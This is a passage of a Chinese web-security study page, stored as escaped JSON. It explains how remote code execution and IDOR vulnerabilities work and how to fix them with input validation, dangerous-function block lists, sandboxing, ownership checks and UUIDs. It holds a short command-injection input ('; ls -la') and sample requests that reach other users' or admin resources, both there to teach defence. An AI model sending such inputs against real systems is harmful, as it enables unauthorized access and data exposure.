\u9650\u5236\u65b9\u6cd5\/\u5934\u90e8<\/h4>\n<p>Http<\/p>\n<p>\u590d\u5236<\/p>\n<p>Access-Control-Allow-Methods: GET, POST Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Max-Age: 86400 <\/p>\n<h3 id=\"895.%20%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C%E4%BB%A3%E7%A0%81%EF%BC%88RCE%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86\">895. \u8fdc\u7a0b\u6267\u884c\u4ee3\u7801&#xff08;RCE&#xff09;\u6f0f\u6d1e\u539f\u7406<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%EF%BC%9A\">1. \u57fa\u672c\u6982\u5ff5&#xff1a;<\/h4>\n<p>RCE&#xff08;Remote Code Execution&#xff09;\u5141\u8bb8\u653b\u51fb\u8005\u5728\u76ee\u6807\u7cfb\u7edf\u4e0a\u6267\u884c\u4efb\u610f\u4ee3\u7801\u3002<\/p>\n<h4 id=\"2.%20%E5%B8%B8%E8%A7%81%E5%85%A5%E5%8F%A3%EF%BC%9A\">2. \u5e38\u89c1\u5165\u53e3&#xff1a;<\/h4>\n<ul>\n<li>\u547d\u4ee4\u6ce8\u5165&#xff1a;; ls -la<\/li>\n<li>\u4ee3\u7801\u6ce8\u5165&#xff1a;eval(user_input)<\/li>\n<li>\u53cd\u5e8f\u5217\u5316&#xff1a;\u6076\u610f\u5e8f\u5217\u5316\u6570\u636e<\/li>\n<li>\u6587\u4ef6\u4e0a\u4f20&#xff1a;\u4e0a\u4f20webshell<\/li>\n<li>\u6a21\u677f\u6ce8\u5165&#xff1a;SSTI&#xff08;Server-Side Template Injection&#xff09;<\/li>\n<\/ul>\n<h4 id=\"3.%20%E6%94%BB%E5%87%BB%E9%93%BE%EF%BC%9A\">3. \u653b\u51fb\u94fe&#xff1a;<\/h4>\n<p> \u8f93\u5165\u70b9 \u2192 \u8fc7\u6ee4\u7ed5\u8fc7 \u2192 \u4ee3\u7801\u6267\u884c \u2192 \u6743\u9650\u63d0\u5347 \u2192 \u6301\u4e45\u5316 <\/p>\n<h3 id=\"896.%20%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C%E4%BB%A3%E7%A0%81%EF%BC%88RCE%EF%BC%89%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D\">896. \u8fdc\u7a0b\u6267\u884c\u4ee3\u7801&#xff08;RCE&#xff09;\u6f0f\u6d1e\u4fee\u590d<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E8%BE%93%E5%85%A5%E9%AA%8C%E8%AF%81\">1. \u8f93\u5165\u9a8c\u8bc1<\/h4>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p># \u767d\u540d\u5355\u9a8c\u8bc1 import re def validate_input(input_str): if not re.match(&#034;^[a-zA-Z0-9\\\\s]&#043;$&#034;, input_str): raise ValueError(&#034;Invalid input&#034;) return input_str <\/p>\n<h4 id=\"2.%20%E9%81%BF%E5%85%8D%E5%8D%B1%E9%99%A9%E5%87%BD%E6%95%B0\">2. \u907f\u514d\u5371\u9669\u51fd\u6570<\/h4>\n<p>PHP&#xff1a;<\/p>\n<p>Php<\/p>\n<p>\u590d\u5236<\/p>\n<p>\/\/ \u7981\u7528\u5371\u9669\u51fd\u6570 disable_functions &#061; exec,system,passthru,shell_exec <\/p>\n<p>Python&#xff1a;<\/p>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p># \u4f7f\u7528\u5b89\u5168\u66ff\u4ee3 import subprocess # \u5371\u9669&#xff1a;os.system(command) # \u5b89\u5168&#xff1a;subprocess.run([&#039;ls&#039;, &#039;-la&#039;])<\/p>\n<h4 id=\"3.%20%E6%9C%80%E5%B0%8F%E6%9D%83%E9%99%90%E8%BF%90%E8%A1%8C\">3. \u6700\u5c0f\u6743\u9650\u8fd0\u884c<\/h4>\n<p>Bash<\/p>\n<p>\u590d\u5236<\/p>\n<p># \u4f7f\u7528\u975e\u7279\u6743\u7528\u6237 sudo -u www-data php script.php <\/p>\n<h4 id=\"4.%20%E6%B2%99%E7%AE%B1%E9%9A%94%E7%A6%BB\">4. \u6c99\u7bb1\u9694\u79bb<\/h4>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p># Python\u6c99\u7bb1 import RestrictedPython code &#061; &#034;&#034;&#034; print(&#039;Hello World&#039;) &#034;&#034;&#034; restricted_globals &#061; { &#039;__builtins__&#039;: {}, &#039;print&#039;: print } exec(code, restricted_globals)<\/p>\n<h3 id=\"897.%20%E8%B6%8A%E6%9D%83%E6%BC%8F%E6%B4%9E%EF%BC%88IDOR%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86\">897. \u8d8a\u6743\u6f0f\u6d1e&#xff08;IDOR&#xff09;\u6f0f\u6d1e\u539f\u7406<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%EF%BC%9A\">1. \u57fa\u672c\u6982\u5ff5&#xff1a;<\/h4>\n<p>IDOR&#xff08;Insecure Direct Object Reference&#xff09;\u76f4\u63a5\u4f7f\u7528\u7528\u6237\u63d0\u4f9b\u7684\u53c2\u6570\u8bbf\u95ee\u5bf9\u8c61&#xff0c;\u6ca1\u6709\u9a8c\u8bc1\u6743\u9650\u3002<\/p>\n<h4 id=\"2.%20%E7%A4%BA%E4%BE%8B%EF%BC%9A\">2. \u793a\u4f8b&#xff1a;<\/h4>\n<p> \u6b63\u5e38&#xff1a;\/api\/user\/123&#xff08;\u7528\u6237123\u67e5\u770b\u81ea\u5df1\u7684\u4fe1\u606f&#xff09;<br \/>\n\u8d8a\u6743&#xff1a;\/api\/user\/456&#xff08;\u7528\u6237123\u67e5\u770b\u7528\u6237456\u7684\u4fe1\u606f&#xff09;<\/p>\n<h4 id=\"3.%20%E6%A0%B9%E6%9C%AC%E5%8E%9F%E5%9B%A0%EF%BC%9A\">3. \u6839\u672c\u539f\u56e0&#xff1a;<\/h4>\n<ul>\n<li>\u4f7f\u7528\u987a\u5e8fID&#xff08;1,2,3,&#8230;&#xff09;<\/li>\n<li>\u7f3a\u4e4f\u6743\u9650\u9a8c\u8bc1<\/li>\n<li>\u5bf9\u8c61\u5f15\u7528\u66b4\u9732<\/li>\n<\/ul>\n<h3 id=\"898.%20%E8%B6%8A%E6%9D%83%E6%BC%8F%E6%B4%9E%EF%BC%88IDOR%EF%BC%89%E6%BC%8F%E6%B4%9E%E7%A7%8D%E7%B1%BB\">898. \u8d8a\u6743\u6f0f\u6d1e&#xff08;IDOR&#xff09;\u6f0f\u6d1e\u79cd\u7c7b<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E6%B0%B4%E5%B9%B3%E8%B6%8A%E6%9D%83\">1. \u6c34\u5e73\u8d8a\u6743<\/h4>\n<p>\u7279\u70b9&#xff1a;\u540c\u6743\u9650\u7528\u6237\u95f4\u8bbf\u95ee<\/p>\n<p>Http<\/p>\n<p>\u590d\u5236<\/p>\n<p># \u7528\u6237A\u8bbf\u95ee\u7528\u6237B\u7684\u6570\u636e GET \/api\/orders\/100 # \u7528\u6237A\u7684\u8ba2\u5355 GET \/api\/orders\/101 # \u7528\u6237B\u7684\u8ba2\u5355 <\/p>\n<h4 id=\"2.%20%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83\">2. \u5782\u76f4\u8d8a\u6743<\/h4>\n<p>\u7279\u70b9&#xff1a;\u4f4e\u6743\u9650\u8bbf\u95ee\u9ad8\u6743\u9650\u529f\u80fd<\/p>\n<p>Http<\/p>\n<p>\u590d\u5236<\/p>\n<p># \u666e\u901a\u7528\u6237\u8bbf\u95ee\u7ba1\u7406\u529f\u80fd GET \/admin\/users POST \/api\/admin\/create-user <\/p>\n<h4 id=\"3.%20%E4%B8%8A%E4%B8%8B%E6%96%87%E7%9B%B8%E5%85%B3%E8%B6%8A%E6%9D%83\">3. \u4e0a\u4e0b\u6587\u76f8\u5173\u8d8a\u6743<\/h4>\n<p>\u7279\u70b9&#xff1a;\u8de8\u4e0a\u4e0b\u6587\u8bbf\u95ee<\/p>\n<p> \u7528\u6237\u5728\u516c\u53f8\u7f51\u7edc\u8bbf\u95ee\u5185\u7f51\u8d44\u6e90<br \/>\n\u79bb\u5f00\u516c\u53f8\u540e\u4ecd\u7136\u53ef\u4ee5\u8bbf\u95ee <\/p>\n<h3 id=\"899.%20%E8%B6%8A%E6%9D%83%E6%BC%8F%E6%B4%9E%EF%BC%88IDOR%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%8C%BA%E5%88%AB\">899. \u8d8a\u6743\u6f0f\u6d1e&#xff08;IDOR&#xff09;\u6f0f\u6d1e\u533a\u522b<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"%E6%B0%B4%E5%B9%B3vs%E5%9E%82%E7%9B%B4%E8%B6%8A%E6%9D%83%EF%BC%9A\">\u6c34\u5e73vs\u5782\u76f4\u8d8a\u6743&#xff1a;<\/h4>\n<table>\n<tr>\u7ef4\u5ea6\u6c34\u5e73\u8d8a\u6743\u5782\u76f4\u8d8a\u6743<\/tr>\n<tbody>\n<tr>\n<td>\u6743\u9650\u7b49\u7ea7<\/td>\n<td>\u76f8\u540c<\/td>\n<td>\u4e0d\u540c<\/td>\n<\/tr>\n<tr>\n<td>\u5371\u5bb3\u8303\u56f4<\/td>\n<td>\u5355\u4e2a\u7528\u6237\u6570\u636e<\/td>\n<td>\u6574\u4e2a\u7cfb\u7edf<\/td>\n<\/tr>\n<tr>\n<td>\u68c0\u6d4b\u96be\u5ea6<\/td>\n<td>\u8f83\u6613&#xff08;\u4fee\u6539ID&#xff09;<\/td>\n<td>\u8f83\u96be&#xff08;\u53d1\u73b0\u529f\u80fd\u70b9&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>\u4fee\u590d\u91cd\u70b9<\/td>\n<td>\u6570\u636e\u9694\u79bb<\/td>\n<td>\u529f\u80fd\u6743\u9650\u63a7\u5236<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h4 id=\"%E4%B8%8E%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E7%9A%84%E5%8C%BA%E5%88%AB%EF%BC%9A\">\u4e0e\u672a\u6388\u6743\u8bbf\u95ee\u7684\u533a\u522b&#xff1a;<\/h4>\n<ul>\n<li>\u8d8a\u6743&#xff1a;\u6709\u90e8\u5206\u6743\u9650&#xff0c;\u4f46\u8bbf\u95ee\u4e86\u4e0d\u8be5\u8bbf\u95ee\u7684\u8d44\u6e90<\/li>\n<li>\u672a\u6388\u6743&#xff1a;\u6ca1\u6709\u4efb\u4f55\u6743\u9650&#xff0c;\u76f4\u63a5\u8bbf\u95ee<\/li>\n<\/ul>\n<h3 id=\"900.%20%E8%B6%8A%E6%9D%83%E6%BC%8F%E6%B4%9E%EF%BC%88IDOR%EF%BC%89%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D\">900. \u8d8a\u6743\u6f0f\u6d1e&#xff08;IDOR&#xff09;\u6f0f\u6d1e\u4fee\u590d<\/h3>\n<p>\u8be6\u7ec6\u5206\u6790&#xff1a;<\/p>\n<h4 id=\"1.%20%E6%9D%83%E9%99%90%E9%AA%8C%E8%AF%81\">1. \u6743\u9650\u9a8c\u8bc1<\/h4>\n<p>\u6bcf\u6b21\u8bbf\u95ee\u90fd\u9a8c\u8bc1&#xff1a;<\/p>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p>def get_order(order_id): order &#061; Order.query.get(order_id) if not order: return {&#034;error&#034;: &#034;Order not found&#034;}, 404 # \u9a8c\u8bc1\u5f53\u524d\u7528\u6237\u662f\u5426\u6709\u6743\u8bbf\u95ee if order.user_id !&#061; current_user.id and not current_user.is_admin: return {&#034;error&#034;: &#034;Access denied&#034;}, 403 return order.to_dict()<\/p>\n<h4 id=\"2.%20%E9%97%B4%E6%8E%A5%E5%BC%95%E7%94%A8%E6%98%A0%E5%B0%84\">2. \u95f4\u63a5\u5f15\u7528\u6620\u5c04<\/h4>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p># \u4e0d\u76f4\u63a5\u4f7f\u7528\u6570\u636e\u5e93ID # \u4f7f\u7528\u7528\u6237\u7279\u5b9a\u7684\u5f15\u7528ID user_orders &#061; { &#034;user_123&#034;: [&#034;order_abc&#034;, &#034;order_def&#034;], &#034;user_456&#034;: [&#034;order_xyz&#034;] } # \u524d\u7aef\u4f20\u9012 order_abc # \u540e\u7aef\u6620\u5c04\u5230\u5b9e\u9645ID <\/p>\n<h4 id=\"3.%20%E4%BD%BF%E7%94%A8%E9%9A%8F%E6%9C%BA%E6%A0%87%E8%AF%86%E7%AC%A6\">3. \u4f7f\u7528\u968f\u673a\u6807\u8bc6\u7b26<\/h4>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p># \u4f7f\u7528UUID\u4ee3\u66ff\u81ea\u589eID import uuid class Order(db.Model): id &#061; db.Column(db.Integer, primary_key&#061;True) public_id &#061; db.Column(db.String(36), default&#061;lambda: str(uuid.uuid4())) # API\u4f7f\u7528public_id GET \/api\/orders\/&lt;public_id&gt;<\/p>\n<h4 id=\"4.%20%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E5%88%97%E8%A1%A8%EF%BC%88ACL%EF%BC%89\">4. \u8bbf\u95ee\u63a7\u5236\u5217\u8868&#xff08;ACL&#xff09;<\/h4>\n<p>Python<\/p>\n<p>\u590d\u5236<\/p>\n<p># \u57fa\u4e8e\u89d2\u8272\u7684\u8bbf\u95ee\u63a7\u5236 def check_permission(user, resource, action): if user.role &#061;&#061; &#039;admin&#039;: return True # \u68c0\u67e5ACL acl &#061; ACL.query.filter_by( user_id&#061;user.id, resource_type&#061;resource.type, resource_id&#061;resource.id, action&#061;action ).first() return acl is not None <\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5b89\u5168\u9886\u57df\u5404\u79cd\u8d44\u6e90&#xff0c;\u5b66\u4e60\u6587\u6863&#xff0c;\u4ee5\u53ca\u5de5\u5177\u5206\u4eab\u3001\u524d\u6cbf\u4fe1\u606f\u5206\u4eab\u3001POC\u3001EXP\u5206\u4eab\u3002\u4e0d\u5b9a\u671f\u5206\u4eab\u5404\u79cd\u597d\u73a9\u7684\u9879\u76ee\u53ca\u597d\u7528\u7684\u5de5\u5177&#xff0c;\u6b22\u8fce\u5173\u6ce8\u3002<br \/>\n\u76ee\u5f55<br \/>\n871. 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